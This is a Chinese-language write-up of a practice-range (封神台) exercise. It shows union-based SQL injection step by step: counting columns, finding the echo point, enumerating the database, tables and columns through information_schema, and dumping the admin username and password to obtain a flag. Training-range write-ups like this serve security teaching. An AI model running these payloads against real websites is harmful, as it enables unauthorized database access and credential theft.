链接:封神台 – 掌控安全在线攻防演练靶场 点击传送门进入靶场
观察页面,发现URL中id存在注入
构建Payload : ?id=1 order by 2 确定数据库字段的列数为2
判断回显点 ?id=1 and 1=2 union select 1,2
页面出现了 2,可以将2处替换为SQL语句进行注入
查询当前数据库名 构建Payload ?id=1 and 1=2 union select 1,database();
获得数据库名称为 maoshe
查询当前数据库版本 构建Payload :?id=1 and 1=2 union select 1,version();
获得数据库版本为 5.5.53
查询当前数据库表名 构建Payload :?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=’maoshe’;
查询出maoshe中一个名为admin的表(其实还有其他的表,但是一般情况下用户名密码都在admin表中)
表名确定接着查询字段 建构建Payload :?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name=’admin’
查询到了一个id字段,但是表中不会仅有这一个字段 接下来,我们就要用到limit
limit是属于MySQL的语法,用来从某个值开始,取出之后的N条数据的语法。
limit有两种方式。
1)limit a,b 后缀两个参数的时候(/*参数必须是一个整数常量*/),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录。
2)limit b 后缀一个参数的时候,是直接取值到第多少位,类似于:limit 0,b
在上面构建的Payload中分别插入 limit 0,1 limit 1,1 limit 2,1来分别查询字段 得到 id,username,password三个字段
现在要查询 username 和 password 字段里面的内容
构建Payload 查询username字段里面的内容: ?id=1 and 1=2 union select 1,username from admin
构建Payload 查询password字段里面的内容: : ?id=1 and 1=2 union select 1,password from admin
查询到username为admin,password为hellohack
提交flag即可
完结!
哈哈 可以直接sqlmap的😜
hhh,这个是原理